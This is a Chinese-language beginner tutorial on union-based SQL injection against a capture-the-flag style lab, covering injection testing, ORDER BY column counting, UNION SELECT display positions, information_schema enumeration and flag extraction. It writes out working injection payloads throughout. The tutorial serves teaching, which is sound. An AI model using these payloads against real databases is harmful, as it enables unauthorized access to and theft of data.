大家好我是星,今天更新的文章主要围绕着SQL 注入的基础操作进行学习,适合零基础的同学学习,以及刚刚学习注入的同学进行命令的巩固和对注入流程的熟悉。
本文因特殊原因无法提供具体靶场,文章主要是通过查看命令巩固显注入的一般流程。
SQL注入基础---显错注入
- 首先查询是否有sql注入
- 查询的语句分别为:
- 找见相关的数据库
- 利用 order by 语句判断显示位---->猜字段
- order by 1
- order by 2
- order by 3
- order by 4
- 获取表名
- 最后一步---获取flag内容
首先查询是否有sql注入
查询的语句分别为:
- select \*from user where id=1 and 2<5
- select \*from user where id=1 and 5<2
如果存在SQL注入,第一条语句正常运行,第二条语句报错:
第一条查询结果:
第二条查询结果
因此存在SQL注入!
找见相关的数据库
利用 order by 语句判断显示位---->猜字段
order by 用于判断显示位,order by 原有的作用是对列进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个列进行排序,如果一共四个列,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值。
order by 1
order by 2
order by 3
order by 4
发现order by 4时无输出,因此有三个字段。
##通过union select确认输出位
-
union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sql查询(我们添加的),但两张表联合查询的列(列)数必须相同。
-
通过上面的查询得知,有3个字段,因此联立查询时查询语句和结果为:
得知输出位为第二列和第三列第一列不输出。
获取表名
利用数据库自带的库information_schema;
-
information_schema是mysql的系统自带表,用于查询数据,在mysql5.0以上版本中存在。
查询语句和结果如下:
得到第一个表名为:user
得到第二个表名为:error_flag
采用limit语句,limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据。
##查询列对应的数据(行) -
limit0,0
select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1
-
limit1,1
select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 1,1
最后一步—获取flag内容
and 1=2 union select 1,flag,3 from error_flag
最后到平台提交flag即可。
更多推荐
【SQL注入基础---显错注入】
发布评论